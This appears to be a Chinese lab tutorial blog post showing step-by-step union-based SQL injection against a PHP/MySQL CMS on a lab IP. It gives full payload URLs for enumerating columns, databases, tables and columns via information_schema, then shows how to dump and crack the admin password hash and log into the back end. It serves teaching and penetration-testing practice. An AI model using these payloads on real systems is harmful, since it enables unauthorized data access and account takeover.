SQL注入之PHP+Mysql
PHP+Mysql(GET方法+数值型+有错误回显)的注入方法
目标系统:PHP+MYSQL(GET方法+数值型+有错误信息)
环境说明:
1 2 | 后台地址:http: //ip/cms/admin/login.php 漏洞URL:http: //ip/cms/show.php?id=35 |
引发漏洞文件:
shop.php和common.function.php
漏洞成因:
直接将URL传入的参数值与sql语句拼接,没有对传入参数进行任何过滤,导致sql注入漏洞。
操作步骤:
步骤1
操作:打开任意新闻的URL,如
1 | http: //ip/cms/show.php?id=35 |
实验现象截图:
1 | http: //192.168.1.9/cms/show.php?id=35 |
步骤2
目的:判断注入点,看到有id=的参数就想到可能有注入点
操作1:在URL后添加“’”测试是否存在SQL注入,报错证明有SQL注入。
实验现象截图:
根据错误信息判断应该是mysql数据库
1 | http: //192.168.1.9/cms/show.php?id=35' |
1 | http: //192.168.1.9/cms/show.php?id=35 and 1=1 |
1 | http: //192.168.1.9/cms/show.php?id=35 and 1=2 |
步骤3 判断字段长度:
目的: 判断字段长度
操作:利用order by N,从数字1开始替代N,直到返回错误页面,判断字段长度为错误页面的N-1,也就是最后一个正常页面返回。
1 | http: //192.168.1.9/cms/show.php?id=35%20order%20by%2016 |
实验现象截图:
字段长度15
步骤4 判断字段位置回显:
目的:判断字段位置回显
操作:利用and 1=2 union select 1,2,3,4,5,……,15,最后一个数为字段长度,有回显会将相应数字显示出来。从下图可知,3和11的位置可以回显信息。
http://ip/cms/show.php?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
实验现象截图:
1 | http: //192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 |
步骤5判断数据库信息:
目的:判断数据库信息
操作:利用and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,12,13,14,15,用sql指令替换sql_command。如:and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15这个语句是查看版本的。
database()查看数据库;查看当前用户user();
http://ip/cms/show.php?id=35%20and%201=2%20union%20select%201,2,version(),4,5,6,7,8,9,10,11,12,13,14,15
实验现象截图:
1 | http: //192.168.1.9/cmsshow.php?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15 |
步骤6判断mysql所有数据库名称:
目的:判断mysql所有数据库名称
操作:利用and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA,查看mysql中所有数据库的名称。可知业务数据库为cms。
实验现象截图:
1 | http: //192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA |
关键列:pass、name
步骤7判断数据库表名称:
目的: 判断数据库表名称
操作:利用and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database(),查看cms数据库拥有的所有表。可以发现存放用户信息的表cms_users。
实验现象截图:
1 | http: //192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() |
步骤8判断数据表的所有列列名:
目的:判断数据表的所有列列名
操作:利用and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273。
table_name=cms_users,表名需要编码为16进制。得到3个列:userid,username和password
实验现象截图:
1 | http: //192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name=0x636D735F7573657273 |
步骤9 判断管理员账号密码:
目的:判断管理员账号密码
操作:利用and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users。得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e
实验现象截图:
http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(username using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users
http://192.168.1.9/cmsshow.php?id=35 and 1=2 union select 1,2,group_concat(convert(password using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users
步骤10 破解密码
目的: 破解密码
操作:登录md5.com解密
实验现象截图:
步骤11 登录后台:使用admin/123456登录后台
目的: 登录后台
1 | 操作:登录http: //192.168.1.9/cms/admin/login.php |
实验现象截图:
2018-11-22 21:01:08 byskkip
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?